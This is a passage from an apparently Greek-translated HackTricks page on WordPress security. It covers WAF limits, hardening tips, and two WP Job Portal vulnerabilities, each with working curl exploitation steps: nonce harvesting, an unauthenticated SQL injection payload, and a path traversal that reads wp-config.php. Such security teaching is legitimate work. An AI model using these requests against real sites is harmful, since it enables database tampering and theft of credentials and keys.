delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Σκεφτείτε να αποθηκεύετε την ελάχιστη δυνατή κατάσταση και να χρησιμοποιείτε χρονικά περιορισμένα, διακριτικά με έλεγχο ικανοτήτων για προσωρινές αλλαγές ρόλου.
WAF considerations for WordPress/plugin CVEs
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
Προστασία WordPress
Τακτικές ενημερώσεις
Βεβαιωθείτε ότι το WordPress, τα plugins και τα themes είναι ενημερωμένα. Επιβεβαιώστε επίσης ότι η αυτοματοποιημένη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Επίσης, εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes.
Πρόσθετα Ασφάλειας
Άλλες Συστάσεις
- Αφαιρέστε τον προεπιλεγμένο χρήστη admin
- Χρησιμοποιήστε ισχυρούς κωδικούς και 2FA
- Περιοδικά ελέγξτε τα δικαιώματα των χρηστών
- Περιορίστε τις προσπάθειες σύνδεσης για να αποτρέψετε επιθέσεις Brute Force
- Μετονομάστε το αρχείο
wp-admin.php
και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
Μη αυθεντικοποιημένη SQL Injection μέσω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
Το πρόσθετο πρόσληψης WP Job Portal αποκάλυπτε μια εργασία savecategory που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Προβλήματα που εισάγει αυτό το απόσπασμα:
- Μη φιλτραρισμένη είσοδος χρήστη –
parentid
προέρχεται απευθείας από το αίτημα HTTP. - Συνένωση συμβολοσειρών μέσα στην WHERE clause – δεν υπάρχουν
is_numeric()
/esc_sql()
/ prepared statement. - Μη-επαληθευμένη προσβασιμότητα – παρόλο που η ενέργεια εκτελείται μέσω του
admin-post.php
, ο μοναδικός έλεγχος που υπάρχει είναι ένα CSRF nonce (wp_verify_nonce()
), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode[wpjobportal_my_resumes]
.
Εκμετάλλευση
- Ανάκτηση νέου nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Εισαγωγή αυθαίρετου SQL εκμεταλλευόμενοι το
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Η απάντηση αποκαλύπτει το αποτέλεσμα του εισαγόμενου ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Μια άλλη λειτουργία, downloadcustomfile, επέτρεπε σε επισκέπτες να κατεβάσουν οποιοδήποτε αρχείο στο δίσκο μέσω path traversal. Το ευάλωτο sink βρίσκεται στο modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
είναι attacker-controlled και συνενώνεται without sanitisation. Ξανά, το μόνο εμπόδιο είναι ένα CSRF nonce που μπορεί να ληφθεί από τη σελίδα resume.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Ο διακομιστής απαντά με τα περιεχόμενα του wp-config.php
, leaking DB credentials and auth keys.
Αναφορές
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.